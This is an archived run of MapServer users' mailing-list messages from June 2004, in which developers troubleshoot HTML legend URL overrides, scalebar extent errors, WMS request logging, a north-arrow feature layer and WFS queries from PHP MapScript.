LLYAMbsALlmyACYVBTIVBjG3AC+2ADC2ACEQDbYAMRAKtgAxtgAitgAthAYBFQayABWh/4uEBf8V BZz/facAFDoEsgAoEim2AAkDuAAqpwADsQABAAAApQCoACcAAQBGAAAAOgAOAAAAnQAOAJ4AFQCf AB8AoQAlAKMAMQCkAD0ApgCSAKEAnQCfAKUArgCoALIAsgCzALYAtAC5ALUAAQBLAAAAAgBM ------_=_NextPart_000_01C458BB.ED6B0900-- From emiliom at u.washington.edu Tue Jun 22 20:23:18 2004 From: emiliom at u.washington.edu (Emilio Mayorga) Date: Tue, 22 Jun 2004 20:23:18 -0700 Subject: [Mapserver-users] unable to affect HTML legend via URL arguments to map file elements In-Reply-To: <40D83079.1000102@dmsolutions.ca> References: <40D53550.8060200@u.washington.edu> <40D83079.1000102@dmsolutions.ca> Message-ID: <40D8F7A6.1020307@u.washington.edu> Daniel Morissette wrote: > Emilio Mayorga wrote: > >> I'm trying to impact the output of an HTML legend by using URL CGI >> arguments. For example, if in my map file there is a layer with these >> elements: >> NAME "countries" >> GROUP "political" >> I want to change the group to "admin" on the fly using this URL CGI >> snippet: >> &mode=legend&map_countries_group=admin >> >> However, the HTML legend seems to be completely unresponsive to >> changes passed via the map__ syntax >> (I've tried various changes). Is that so, or am I doing something wrong? >> > > I had a quick look at the code and I see no reason why the HTML legend > would react differently to those layer changes than the other modes. Are > you able to change the group value when using browse mode? Which version > of MapServer are you using? Maybe that's a bug from an older version? Thanks for looking into it. I'm using Mapserver 4.0, on RedHat 8 (sorry, I forgot to mention that). I've tried changing different layer elements (not just group), with no success. I just tried making a layer change while on map mode (map_countries_class_size=10). Here's the URL: http://basin.ocean.washington.edu/cgi-bin/mapserv?mode=map&map=/var/www/html/mapserv/mapache/eng/mapache.map&mapext=-89.7117+14.0558+-85.834+16.9558&mapsize=600+449&layers=countries+departam_ln&map_countries_class_size=10 The change works. When I try the same change using legend mode with HTML legend, it doesn't change the legend symbol for the "countries" layer. Here's the URL: http://basin.ocean.washington.edu/cgi-bin/mapserv?map=/var/www/html/mapserv/mapache/eng/mapache.map&mode=legend&mapext=0+0+1.134+0.85&mapsize=600+449&layers=countries+departam_ln&map_countries_class_size=10 Here's the layer definition, though I've also tried this on other layers: LAYER # paises NAME countries DATA countries GROUP "political" STATUS OFF TYPE LINE CLASS NAME "Paises" SYMBOL "line5" COLOR 0 0 0 SIZE 2 END METADATA wmstitle "Paises" wms_order "1" meta_href "/mapserv/mapache/data/ciatadm.html" END PROJECTION "proj=latlong" "ellps=intl" "no_defs" END END I tried it using browse mode, but I got an error: "mapserv(): Web application error. No template provided". I don't have a template file because I'm using the Landview/javascript framework. Thanks! -Emilio PS. My unofficial ("pre-release") MapServer application is here: http://geo.garrobo.org/mapache/eng/ecosist_ind.html From dmorissette at dmsolutions.ca Tue Jun 22 21:13:59 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 23 Jun 2004 00:13:59 -0400 Subject: [Mapserver-users] unable to affect HTML legend via URL arguments to map file elements In-Reply-To: <40D8F7A6.1020307@u.washington.edu> References: <40D53550.8060200@u.washington.edu> <40D83079.1000102@dmsolutions.ca> <40D8F7A6.1020307@u.washington.edu> Message-ID: <40D90387.1050607@dmsolutions.ca> Emilio Mayorga wrote: > > Thanks for looking into it. I'm using Mapserver 4.0, on RedHat 8 (sorry, > I forgot to mention that). I've tried changing different layer elements > (not just group), with no success. I just tried making a layer change > while on map mode (map_countries_class_size=10). Here's the URL: > http://basin.ocean.washington.edu/cgi-bin/mapserv?mode=map&map=/var/www/html/mapserv/mapache/eng/mapache.map&mapext=-89.7117+14.0558+-85.834+16.9558&mapsize=600+449&layers=countries+departam_ln&map_countries_class_size=10 > > > The change works. When I try the same change using legend mode with HTML > legend, it doesn't change the legend symbol for the "countries" layer. I was able to reproduce this with a local demo app and filed a bug about this: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=745 Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From inke03 at gmx.net Tue Jun 22 23:59:37 2004 From: inke03 at gmx.net (Inge Keckeisen) Date: Wed, 23 Jun 2004 08:59:37 +0200 Subject: [Mapserver-users] invalid image extent with dhtml demo and germany map Message-ID: <40D92A59.70205@gmx.net> Hi, thank you for the advice to use ogrinfo. It showed me the extent of my data, but I realized then that the extent in my mapfile was right. So the problem with the scalebar is still there. Another try was to project the data before and to leave out the projection declaration in the map file. This brought up the scalebar in the right way but the zoomout function didn't work properly then. Could be that it is a problem when the data is in degrees and the map in meters with the dhtml Itasca demo? Inge >From: "Ernesto Vega" > >did you try to get the extents of your map using ogrinfo ??? ogrinfo >will show the extents of the map, use them on your mapfile. >Ernesto >> Hi, >> >> since I try to show a map of Germany with the dhtml interface of the Itasca >> demo the scalebar shows the wrong scale (after zooming in a lot) or doesn't >> appear not at all. >> The original Itasca dhtml demo is working fine.Also my own mapfile runs well >> but only without the dhtml interface. >> >> This is what the browser brings up when right-clicking on the scalebar icon: >> msCalculateScale(): General error message. Invalid image extent. >> msCalculateScale(): General error message. Invalid image extent. >> mapserv(): Web application error. No way to generate map extent. >> Maybe I have to change something in the mapserv.js to define the map extent >> but don't know what I should do explicitly. I hope someone can give me a >> hint. >> >> Regards, >> Inge Keckeisen >> >> Here are some snippets of the mapfile: >> (The data is in WGS84, but I want to have it projected in Gauss-Krueger3) >> >> NAME 'Deutschland' >> STATUS ON >> PROJECTION >> 'init=epsg:31467' # Gauss-Krueger Zone3 >> END >> >> SIZE 350 500 >> EXTENT 3228330.530 5193322.629 3988410.415 6163355.154 >> UNITS METERS >> >> SCALEBAR >> STATUS ON >> LABEL >> COLOR 000 000 000 >> SIZE SMALL >> END >> SIZE 250 3 >> COLOR 0 90 230 >> OUTLINECOLOR 100 100 100 >> UNITS KILOMETERS >> END >> >> LAYER >> NAME 'Bundesgebiet' >> GROUP 'bundesgebiet' >> DATA 'data/grenze' >> STATUS DEFAULT >> TYPE POLYGON >> PROJECTION >> 'init=epsg:4326' # WGS84 >> END >> CLASS >> NAME 'Grenze' >> COLOR 210 210 210 >> OUTLINECOLOR 100 100 100 >> END >> END >> From ter-haseborg at sf-datentechnik.de Wed Jun 23 00:23:44 2004 From: ter-haseborg at sf-datentechnik.de (Frieso ter Haseborg) Date: Wed, 23 Jun 2004 09:23:44 +0200 Subject: [Mapserver-users] How to log requests on remote wms-servers Message-ID: <26FAB31EFF50034782DFE474AB44FE3E029358@nt-sf-exchange.Windows2000> Hi, MS_ERRORFILE did it. (SetEnv MS_ERRORFILE "stderr" in the httpd.conf). Now I receive the error of the msHTTPExecuteRequests in the apache error log. Since mapserver only shows a blank image, neither returns a xml- nor an inimage-exception, I had no idea, of what went wrong. Thanx a lot! btw: A way to get the error displayed directly in the browser is to place another layer provoking an msDrawMap-error behind the "problem-child". So one failing layer only gives errors in the apache-log, a second layer with DrawMap-error raises the error to the browser. Is this by design (no errors raised on failing http get request), or am I overlooking something? TIA, Frieso ter Haseborg - Software Development - -- -------------------------------------------------- S&F Datentechnik GmbH&Co.KG Reimersstr. 41b 26789 Leer, Germany > -----Original Message----- > From: Daniel Morissette [mailto:dmorissette at dmsolutions.ca] > Sent: Tuesday, June 22, 2004 2:39 PM > To: Frieso ter Haseborg > Cc: moeller at basis5.de; mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] How to log requests on remote > wms-servers > > > Frieso ter Haseborg wrote: > > Hi, > > > > LOG "c:\Programme\Apache Group\Apache2\htdocs\tmp\ms.log" > > or > > LOG ms.log > > > > gives no difference. So far I never had any problems using > '/' instead of '\'. > > > > Are there any other requirements to be met for ms to get a > debug-log? > > > > The LOG directive applies only to the mapserv CGI via the traditional > CGI interface. It has no effect with the WMS or WFS > interfaces or with > MapScript. > > BTW, there are two other ways to generate log output in MapServer: > - Setting the MS_ERRORFILE environment variable will log all error > messages to the specified file > - Compiling with --enable-debug (i.e. adding the > -DENABLE_STDERR_DEBUG > -DNEED_NONBLOCKING_STDERR compile flags) will generate lots of debug > output to stderr (i.e. to the Apache error_log). > > We've been talking about unifying all this, you'll find more > details in > bug 709: > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=709 > > > Now, if all you need is to log requests then none of the > above will do > what you want. In this case you could simply create a wrapper script > that logs the request and passes control to the mapserv.exe. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > From ter-haseborg at sf-datentechnik.de Wed Jun 23 00:31:14 2004 From: ter-haseborg at sf-datentechnik.de (Frieso ter Haseborg) Date: Wed, 23 Jun 2004 09:31:14 +0200 Subject: [Mapserver-users] How to log requests on remote wms-servers Message-ID: <26FAB31EFF50034782DFE474AB44FE3E029359@nt-sf-exchange.Windows2000> Hi, no, basic logging of the requests is not what I want - then of course the server logs would do. What I'm searching for is way, "to log the requests the UMN wms-client sends to a remote wms-server". So no server-side logging, but client-side logging for debugging purposes. I just want to log the url the mapserver-client generates and sends to a remote wms-server I've no access to. In this case MS_ERRORFILE as mentioned by Daniel did it, since the client received a HTTP request error. But a general mechanism to log the generated url would still be interesting. TIA, Frieso ter Haseborg - Software Development - -- -------------------------------------------------- S&F Datentechnik GmbH&Co.KG Reimersstr. 41b 26789 Leer, Germany > -----Original Message----- > From: Andrew Haigh [mailto:andrew at andrewhaigh.net] > Sent: Tuesday, June 22, 2004 8:02 PM > To: Daniel Morissette > Cc: Frieso ter Haseborg; moeller at basis5.de; > mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] How to log requests on remote > wms-servers > > > Everyone, > > If all you want to do is log requests, can't you just use your > webserver logs? > > Hope this helps. > > Andrew > > > On 22 Jun 2004, at 13:38, Daniel Morissette wrote: > > > Frieso ter Haseborg wrote: > >> Hi, > >> LOG "c:\Programme\Apache Group\Apache2\htdocs\tmp\ms.log" > >> or > >> LOG ms.log > >> gives no difference. So far I never had any problems using '/' > >> instead of '\'. > >> Are there any other requirements to be met for ms to get a > debug-log? > > > > The LOG directive applies only to the mapserv CGI via the > traditional > > CGI interface. It has no effect with the WMS or WFS > interfaces or with > > MapScript. > > > > BTW, there are two other ways to generate log output in MapServer: > > - Setting the MS_ERRORFILE environment variable will log all error > > messages to the specified file > > - Compiling with --enable-debug (i.e. adding the > -DENABLE_STDERR_DEBUG > > -DNEED_NONBLOCKING_STDERR compile flags) will generate lots > of debug > > output to stderr (i.e. to the Apache error_log). > > > > We've been talking about unifying all this, you'll find > more details > > in bug 709: > > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=709 > > > > > > Now, if all you need is to log requests then none of the > above will do > > what you want. In this case you could simply create a > wrapper script > > that logs the request and passes control to the mapserv.exe. > > > > Daniel > > -- > > ------------------------------------------------------------ > > Daniel Morissette dmorissette at dmsolutions.ca > > DM Solutions Group http://www.dmsolutions.ca/ > > ------------------------------------------------------------ > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > From markadams at cuestasys.com Wed Jun 23 06:12:03 2004 From: markadams at cuestasys.com (Mark Adams) Date: Wed, 23 Jun 2004 09:12:03 -0400 Subject: [Mapserver-users] problem adding north arrow to map Message-ID: <000401c45923$add39ab0$1300a8c0@cuestasys.com> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C45902.26C1FAB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, =20 I=92m hoping someone can point out what might be going wrong here. Following the instructions in the wiki, I am trying to add a north arrow to may map. I=92ve got a basic north arrow image (northarrow1.gif), = I=92ve added a pixmap symbol referencing it, and I=92ve added a layer to the = map. However, the GIF never shows. I=92ve tried this in both a mapscript app and the basic Itasca demo, same result. I know there is nothing wrong with the GIF or symbol definition, as it shows fine if I use this symbol on a =93regular=94 layer rather than a feature layer. Any ideas? Have I defined the feature layer wrongly? Here are my symbol def and layer def: =20 SYMBOL #North Arrow NAME "northarrow1" TYPE pixmap IMAGE "northarrow1.gif" END =20 LAYER NAME "North Arrow" STATUS DEFAULT TRANSFORM FALSE TYPE POINT FEATURE POINTS 250 250 END END CLASS SYMBOL 'northarrow1' END END =20 Thanks in advance. ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com =20 ------=_NextPart_000_0005_01C45902.26C1FAB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi all,

 

I’m hoping someone can point out what might be = going wrong here. Following the instructions in the wiki, I am trying to add a north arrow to may map. I’ve got a basic north = arrow image (northarrow1.gif), I’ve added a pixmap = symbol referencing it, and I’ve added a layer to the map. However, the = GIF never shows. I’ve tried this in both a mapscript app and the basic Itasca demo, same result. I know there is nothing wrong with the GIF or symbol definition, = as it shows fine if I use this symbol on a “regular” layer rather = than a feature layer. Any ideas? Have I defined the = feature layer wrongly? Here are my symbol def and layer = def:

 

=A0 SYMBOL = #North Arrow

=A0=A0=A0 = NAME "northarrow1"

=A0=A0=A0 = TYPE pixmap

=A0=A0=A0 = IMAGE "northarrow1.gif"

=A0 = END

 

=A0=A0=A0 = LAYER

=A0=A0=A0=A0=A0=A0=A0 NAME "North Arrow"

=A0=A0=A0=A0=A0=A0=A0 STATUS = DEFAULT

=A0=A0=A0=A0=A0=A0=A0 TRANSFORM FALSE

=A0=A0=A0=A0=A0=A0=A0 TYPE = POINT

=A0=A0=A0=A0=A0=A0=A0 = FEATURE

=A0=A0=A0=A0=A0=A0=A0=A0=A0 POINTS 250 = 250 END

=A0=A0=A0=A0=A0=A0=A0 = END

=A0=A0=A0=A0=A0=A0=A0 = CLASS

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 = SYMBOL 'northarrow1'

=A0=A0=A0=A0=A0=A0=A0 = END

=A0 = END

 

Thanks in advance.

------------------= ------------

Mark = Adams

Business & = Systems Analyst

Cuesta Systems = Inc.

5230 South Service = Road

Burlington, ON = L7L = 5K2

Phone: = 905-333-4544 x14

Fax: = 905-333-0455

Email: markadams at cuestasys.com

 

------=_NextPart_000_0005_01C45902.26C1FAB0-- From ed at topozone.com Wed Jun 23 06:43:27 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 23 Jun 2004 09:43:27 -0400 Subject: [Mapserver-users] problem adding north arrow to map Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB070B3684@ptolemy.topozone.com> Mark - Does your MapServer build include support for reading GIF files? Have you used other GIF symbols? See what text output "mapserv -v" produces. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Mark Adams Sent: Wednesday, June 23, 2004 9:12 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] problem adding north arrow to map Hi all, I'm hoping someone can point out what might be going wrong here. Following the instructions in the wiki, I am trying to add a north arrow to may map. I've got a basic north arrow image (northarrow1.gif), I've added a pixmap symbol referencing it, and I've added a layer to the map. However, the GIF never shows. I've tried this in both a mapscript app and the basic Itasca demo, same result. I know there is nothing wrong with the GIF or symbol definition, as it shows fine if I use this symbol on a "regular" layer rather than a feature layer. Any ideas? Have I defined the feature layer wrongly? Here are my symbol def and layer def: SYMBOL #North Arrow NAME "northarrow1" TYPE pixmap IMAGE "northarrow1.gif" END LAYER NAME "North Arrow" STATUS DEFAULT TRANSFORM FALSE TYPE POINT FEATURE POINTS 250 250 END END CLASS SYMBOL 'northarrow1' END END Thanks in advance. ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com From woodbri at swoodbridge.com Wed Jun 23 06:51:10 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 23 Jun 2004 09:51:10 -0400 Subject: [Mapserver-users] problem adding north arrow to map In-Reply-To: <000401c45923$add39ab0$1300a8c0@cuestasys.com> References: <000401c45923$add39ab0$1300a8c0@cuestasys.com> Message-ID: <40D98ACE.5070803@swoodbridge.com> The symbol probably should be in the symbol.sym file Is this the last layer in the mapfile? if not try putting it last so it gets drawn on top of the other layers. Remember that 0,0 is upper left when TRANSFORM FALSE is set so the symbol should be placed 250 to the right and 250 down from the top. -Steve W. Mark Adams wrote: > Hi all, > > I?m hoping someone can point out what might be going wrong here. > Following the instructions in the wiki, I am trying to add a north arrow > to may map. I?ve got a basic north arrow image (northarrow1.gif), I?ve > added a pixmap symbol referencing it, and I?ve added a layer to the map. > However, the GIF never shows. I?ve tried this in both a mapscript app > and the basic Itasca demo, same result. I know there is nothing wrong > with the GIF or symbol definition, as it shows fine if I use this symbol > on a ?regular? layer rather than a feature layer. Any ideas? Have I > defined the feature layer wrongly? Here are my symbol def and layer def: > > SYMBOL #North Arrow > NAME "northarrow1" > TYPE pixmap > IMAGE "northarrow1.gif" > END > > LAYER > NAME "North Arrow" > STATUS DEFAULT > TRANSFORM FALSE > TYPE POINT > FEATURE > POINTS 250 250 END > END > CLASS > SYMBOL 'northarrow1' > END > END > > Thanks in advance. > ------------------------------ > Mark Adams > Business & Systems Analyst > Cuesta Systems Inc. > 5230 South Service Road > Burlington, ON L7L 5K2 > Phone: 905-333-4544 x14 > Fax: 905-333-0455 > Email: markadams at cuestasys.com > > From jnielsen at aero-graphics.com Wed Jun 23 07:11:29 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Wed, 23 Jun 2004 08:11:29 -0600 Subject: [Mapserver-users] ESRI Ascii grid format... In-Reply-To: <1087938800.40d8a0f035d97@www.agi-lan.com> References: <1087938800.40d8a0f035d97@www.agi-lan.com> Message-ID: <1087999889.40d98f914a8e1@www.agi-lan.com> Thanks for all the info everyone. I found srmwww.gov.bc.ca/bmgs/products/ BC-DEM-specifications-2002-12.pdf this morning and it indeed appears to follow this format. From markadams at cuestasys.com Wed Jun 23 07:10:34 2004 From: markadams at cuestasys.com (Mark Adams) Date: Wed, 23 Jun 2004 10:10:34 -0400 Subject: [Mapserver-users] problem adding north arrow to map In-Reply-To: <40D98ACE.5070803@swoodbridge.com> Message-ID: <000c01c4592b$da39e6b0$1300a8c0@cuestasys.com> I've tried having the symbol in a symbol file, as well as in the map file; same result. Executing mapserv -v indicates support for GIF output (I'm using the standard windows binary PHP mapscript 4.2 package), and as I said I've had success displaying the symbol with regular layers, but not with this feature layer. I do have it as the last layer in the map file. I've tried removing all other layers from the map file except the north arrow feature layer, it still doesn't show. For what it's worth, here's a further oddity. The layer shows in my HTML legend if I set status to ON - that is to say the layer *name* shows in the legend, but not the symbol. Again, if I use this symbol in a different layer (I used it on a line layer for example), it displays on the map, and in the legend. ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com -----Original Message----- From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] Sent: Wednesday, June 23, 2004 9:51 AM To: markadams at cuestasys.com Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] problem adding north arrow to map The symbol probably should be in the symbol.sym file Is this the last layer in the mapfile? if not try putting it last so it gets drawn on top of the other layers. Remember that 0,0 is upper left when TRANSFORM FALSE is set so the symbol should be placed 250 to the right and 250 down from the top. -Steve W. Mark Adams wrote: > Hi all, > > I?m hoping someone can point out what might be going wrong here. > Following the instructions in the wiki, I am trying to add a north arrow > to may map. I?ve got a basic north arrow image (northarrow1.gif), I?ve > added a pixmap symbol referencing it, and I?ve added a layer to the map. > However, the GIF never shows. I?ve tried this in both a mapscript app > and the basic Itasca demo, same result. I know there is nothing wrong > with the GIF or symbol definition, as it shows fine if I use this symbol > on a ?regular? layer rather than a feature layer. Any ideas? Have I > defined the feature layer wrongly? Here are my symbol def and layer def: > > SYMBOL #North Arrow > NAME "northarrow1" > TYPE pixmap > IMAGE "northarrow1.gif" > END > > LAYER > NAME "North Arrow" > STATUS DEFAULT > TRANSFORM FALSE > TYPE POINT > FEATURE > POINTS 250 250 END > END > CLASS > SYMBOL 'northarrow1' > END > END > > Thanks in advance. > ------------------------------ > Mark Adams > Business & Systems Analyst > Cuesta Systems Inc. > 5230 South Service Road > Burlington, ON L7L 5K2 > Phone: 905-333-4544 x14 > Fax: 905-333-0455 > Email: markadams at cuestasys.com > > From cpurvis at asg.sc.edu Wed Jun 23 07:45:24 2004 From: cpurvis at asg.sc.edu (Charlton Purvis) Date: Wed, 23 Jun 2004 10:45:24 -0400 Subject: [Mapserver-users] problem adding north arrow to map Message-ID: Could you try adding POSTLABELCACHE TRUE and perhaps an empty STYLE object? BTW, I use TRANSFORM OFF instead of TRANSFORM FALSE (don't remember why!). So something like: > > LAYER > > NAME "North Arrow" > > STATUS DEFAULT > > TRANSFORM OFF POSTLABELCACHE TRUE > > TYPE POINT > > FEATURE > > POINTS 250 250 END > > END > > CLASS > > SYMBOL 'northarrow1' STYLE END > > END > > END > -----Original Message----- > From: Mark Adams [mailto:markadams at cuestasys.com] > Sent: Wednesday, June 23, 2004 10:11 AM > To: mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] problem adding north arrow to map > > I've tried having the symbol in a symbol file, as well as in the map > file; same result. Executing mapserv -v indicates support for GIF output > (I'm using the standard windows binary PHP mapscript 4.2 package), and > as I said I've had success displaying the symbol with regular layers, > but not with this feature layer. I do have it as the last layer in the > map file. I've tried removing all other layers from the map file except > the north arrow feature layer, it still doesn't show. > > For what it's worth, here's a further oddity. The layer shows in my HTML > legend if I set status to ON - that is to say the layer *name* shows in > the legend, but not the symbol. Again, if I use this symbol in a > different layer (I used it on a line layer for example), it displays on > the map, and in the legend. > > ------------------------------ > Mark Adams > Business & Systems Analyst > Cuesta Systems Inc. > 5230 South Service Road > Burlington, ON L7L 5K2 > Phone: 905-333-4544 x14 > Fax: 905-333-0455 > Email: markadams at cuestasys.com > > > -----Original Message----- > From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] > Sent: Wednesday, June 23, 2004 9:51 AM > To: markadams at cuestasys.com > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] problem adding north arrow to map > > The symbol probably should be in the symbol.sym file > Is this the last layer in the mapfile? if not try putting it last so it > gets drawn on top of the other layers. > Remember that 0,0 is upper left when TRANSFORM FALSE is set so the > symbol should be placed 250 to the right and 250 down from the top. > > -Steve W. > > Mark Adams wrote: > > > Hi all, > > > > I'm hoping someone can point out what might be going wrong here. > > Following the instructions in the wiki, I am trying to add a north > arrow > > to may map. I've got a basic north arrow image (northarrow1.gif), I've > > added a pixmap symbol referencing it, and I've added a layer to the > map. > > However, the GIF never shows. I've tried this in both a mapscript app > > and the basic Itasca demo, same result. I know there is nothing wrong > > with the GIF or symbol definition, as it shows fine if I use this > symbol > > on a "regular" layer rather than a feature layer. Any ideas? Have I > > defined the feature layer wrongly? Here are my symbol def and layer > def: > > > > SYMBOL #North Arrow > > NAME "northarrow1" > > TYPE pixmap > > IMAGE "northarrow1.gif" > > END > > > > LAYER > > NAME "North Arrow" > > STATUS DEFAULT > > TRANSFORM FALSE > > TYPE POINT > > FEATURE > > POINTS 250 250 END > > END > > CLASS > > SYMBOL 'northarrow1' > > END > > END > > > > Thanks in advance. > > ------------------------------ > > Mark Adams > > Business & Systems Analyst > > Cuesta Systems Inc. > > 5230 South Service Road > > Burlington, ON L7L 5K2 > > Phone: 905-333-4544 x14 > > Fax: 905-333-0455 > > Email: markadams at cuestasys.com > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From markadams at cuestasys.com Wed Jun 23 08:00:24 2004 From: markadams at cuestasys.com (Mark Adams) Date: Wed, 23 Jun 2004 11:00:24 -0400 Subject: [Mapserver-users] problem adding north arrow to map In-Reply-To: Message-ID: <000d01c45932$d06d2ff0$1300a8c0@cuestasys.com> Excellent! That did the trick - as it turns out it was the empty STYLE object that was needed, the other changes didn't matter. But can you tell me why this empty STYLE object was needed? ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com -----Original Message----- From: Charlton Purvis [mailto:cpurvis at asg.sc.edu] Sent: Wednesday, June 23, 2004 10:45 AM To: markadams at cuestasys.com; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] problem adding north arrow to map Could you try adding POSTLABELCACHE TRUE and perhaps an empty STYLE object? BTW, I use TRANSFORM OFF instead of TRANSFORM FALSE (don't remember why!). So something like: > > LAYER > > NAME "North Arrow" > > STATUS DEFAULT > > TRANSFORM OFF POSTLABELCACHE TRUE > > TYPE POINT > > FEATURE > > POINTS 250 250 END > > END > > CLASS > > SYMBOL 'northarrow1' STYLE END > > END > > END > -----Original Message----- > From: Mark Adams [mailto:markadams at cuestasys.com] > Sent: Wednesday, June 23, 2004 10:11 AM > To: mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] problem adding north arrow to map > > I've tried having the symbol in a symbol file, as well as in the map > file; same result. Executing mapserv -v indicates support for GIF output > (I'm using the standard windows binary PHP mapscript 4.2 package), and > as I said I've had success displaying the symbol with regular layers, > but not with this feature layer. I do have it as the last layer in the > map file. I've tried removing all other layers from the map file except > the north arrow feature layer, it still doesn't show. > > For what it's worth, here's a further oddity. The layer shows in my HTML > legend if I set status to ON - that is to say the layer *name* shows in > the legend, but not the symbol. Again, if I use this symbol in a > different layer (I used it on a line layer for example), it displays on > the map, and in the legend. > > ------------------------------ > Mark Adams > Business & Systems Analyst > Cuesta Systems Inc. > 5230 South Service Road > Burlington, ON L7L 5K2 > Phone: 905-333-4544 x14 > Fax: 905-333-0455 > Email: markadams at cuestasys.com > > > -----Original Message----- > From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] > Sent: Wednesday, June 23, 2004 9:51 AM > To: markadams at cuestasys.com > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] problem adding north arrow to map > > The symbol probably should be in the symbol.sym file > Is this the last layer in the mapfile? if not try putting it last so it > gets drawn on top of the other layers. > Remember that 0,0 is upper left when TRANSFORM FALSE is set so the > symbol should be placed 250 to the right and 250 down from the top. > > -Steve W. > > Mark Adams wrote: > > > Hi all, > > > > I'm hoping someone can point out what might be going wrong here. > > Following the instructions in the wiki, I am trying to add a north > arrow > > to may map. I've got a basic north arrow image (northarrow1.gif), I've > > added a pixmap symbol referencing it, and I've added a layer to the > map. > > However, the GIF never shows. I've tried this in both a mapscript app > > and the basic Itasca demo, same result. I know there is nothing wrong > > with the GIF or symbol definition, as it shows fine if I use this > symbol > > on a "regular" layer rather than a feature layer. Any ideas? Have I > > defined the feature layer wrongly? Here are my symbol def and layer > def: > > > > SYMBOL #North Arrow > > NAME "northarrow1" > > TYPE pixmap > > IMAGE "northarrow1.gif" > > END > > > > LAYER > > NAME "North Arrow" > > STATUS DEFAULT > > TRANSFORM FALSE > > TYPE POINT > > FEATURE > > POINTS 250 250 END > > END > > CLASS > > SYMBOL 'northarrow1' > > END > > END > > > > Thanks in advance. > > ------------------------------ > > Mark Adams > > Business & Systems Analyst > > Cuesta Systems Inc. > > 5230 South Service Road > > Burlington, ON L7L 5K2 > > Phone: 905-333-4544 x14 > > Fax: 905-333-0455 > > Email: markadams at cuestasys.com > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From cpurvis at asg.sc.edu Wed Jun 23 08:10:37 2004 From: cpurvis at asg.sc.edu (Charlton Purvis) Date: Wed, 23 Jun 2004 11:10:37 -0400 Subject: [Mapserver-users] problem adding north arrow to map Message-ID: I'm sure you'll get a better answer than my hackneyed approach, but I found that a CLASS needs a COLOR in order to show up. For some reason for CLASS-es that really shouldn't have a COLOR (like yours), the empty STLE does the trick. But I will now move aside for those who know the nitty gritty . . . [Charlton bows gracefully as others enter stage right.] From mapserver at geochem.de Wed Jun 23 09:10:57 2004 From: mapserver at geochem.de (Nicol Hermann) Date: 23 Jun 2004 18:10:57 +0200 Subject: [Mapserver-users] PHP Mapscript - executeWFSGetfeature how? Message-ID: <1088007058.492.17.camel@emil> Dear List, i'am trying to execute the executeWFSGetfeature() Function with PHPMapscript. Unfortunately i always get back an empty sting. When i execute the same Map-File with the following CGI-URL i get back a gml output as expected: http://emil/cgi-bin/mapserv_42?MAP=/usr/local/apache/cgi-bin/wfstest.map&REQUEST=getFeature&service=wfs&version=1.0.0&&typename=plz,deutschlandkarte&BBOX=8.43,50,8.60,50.2 Attached you can find the php code: getLayerByName("plz"); $wfsurl = $layer -> executeWFSGetfeature(); print ($wfsurl); ?> The DUMP Option is set to TRUE. I am using mapserver 4.2, gdal 1.2.0 (with xerces 1.6) on a debian 3.0r2 box. Any hints what i have to change to get the gml output with PHP-Mapscript too? Many thanks Nicol From eric.belenfant at ac-orleans-tours.fr Wed Jun 23 08:04:46 2004 From: eric.belenfant at ac-orleans-tours.fr (eric.belenfant) Date: Wed, 23 Jun 2004 17:04:46 +0200 Subject: [Mapserver-users] query MAPINFO maps with phpmapscript Message-ID: <40D99C0E.8090306@ac-orleans-tours.fr> Hi, i'm looking for some good coding examples to query the .tab files by clicking our MAPINFO 